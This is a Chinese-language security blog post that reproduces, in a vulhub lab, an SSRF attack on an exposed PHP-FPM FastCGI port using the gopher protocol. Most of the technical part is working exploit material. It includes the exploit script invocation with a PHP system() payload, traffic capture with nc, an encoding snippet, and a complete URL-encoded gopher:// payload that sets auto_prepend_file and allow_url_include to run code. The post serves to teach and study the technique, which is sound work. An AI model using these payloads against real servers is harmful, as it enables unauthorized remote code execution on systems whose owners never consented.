Gopher攻击FastCGI的小结

这一篇文章是上一篇文章的一些扩展内容,虽然这个环境极其苛刻,但是学到一些新的知识就好。

这篇文章大多数内容是来自p神博文的,我只是做个总结顺便做个复现,Orz。传送门

FastCGI

Fastcgi其实是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道。fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件。

PHP-FPM(FastCGI进程管理器)

为什么使用nginx进行搭建php环境的时候会出现php-fpm?FPM其实是一个fastcgi协议解析器,Nginx等服务器中间件将用户请求按照fastcgi的规则打包好通过TCP传给谁?其实就是传给FPM。然后再通过FPM去将数据交给对应的PHP文件。

这篇文章的关键问题就出在这个fpm接收的数据上,只要我们我们构造满足协议规范的请求包去访问该进程监听的端口,就可以导致任意代码的执行,但我们在协议中需要打开设置auto_prepend_file = php://inputallow_url_include = On

利用的条件

  • libcurl版本>=7.45.0(由于EXP里有%00,CURL版本小于7.45.0的版本,gopher的%00会被截断)
  • PHP-FPM监听端口
  • PHP-FPM版本 >= 5.3.3
  • 知道服务器上任意一个php文件的绝对路径

复现

这里我使用的是 vulhunb上的的 fpm 环境,默认是监听的9000端口

ZPwJoR.png

但是我们还需要服务器上的一个php文件的绝对路径,现在复现我们可以使用find / -name "*.php"去找,实际情况中的话就得爆破去找了23333

使用p神的脚本测试一下这个开放的9000端口,是可以成功实现的,所以说直接向外网暴露出这个服务真的很危险。

ZP6Qhj.png

但是既然本篇文章是上一篇文章的扩展,就需要从ssrf的角度去对其进行利用,因此先是本地抓取一波流量,这里使用nc的方式去获取

1
python fpm.py 127.0.0.1 -p 2333 -c "<?php system('echo sectest > /tmp/1.php'); exit;?>" /usr/local/lib/php/PEAR.php

nc监听并获取

1
nc -lvvp 2333 >  1.txt

然后对其内容进行url编码,获得exp

1
2
3
4
5
6
7
f = open('1.txt')

ff = f.read()

from urllib import quote

print quote(ff)

ZPWG0P.png

构造gopher协议

1
gopher://127.0.0.1:9000/_%01%01xt%00%08%00%00%00%01%00%00%00%00%00%00%01%04xt%01%E7%00%00%0E%02CONTENT_LENGTH50%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/lib/php/PEAR.php%0B%1BSCRIPT_NAME/usr/local/lib/php/PEAR.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/lib/php/PEAR.php%01%04xt%00%00%00%00%01%05xt%002%00%00%3C%3Fphp%20system%28%27echo%20sectest%20%3E%20/tmp/1.php%27%29%3B%20exit%3B%3F%3E%01%05xt%00%00%00%00

这里使用curl去模拟,观察tmp目录下确实写入文件

ZPfk9g.png

只要在ssrf下探测到有fpm接口的话,我们就可以利用获得代码执行的权限啦。

Referer

https://www.virtua1.cn/index.php/web-security/%E6%B5%85%E8%B0%88ssrf%E6%BC%8F%E6%B4%9E-gopher%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91%E5%BA%94%E7%94%A8%E7%AF%87.html


听说,打赏我的人最后都成了大佬。



文章目录
  1. 1. FastCGI
  2. 2. PHP-FPM(FastCGI进程管理器)
  3. 3. 利用的条件
  4. 4. 复现
  5. 5. Referer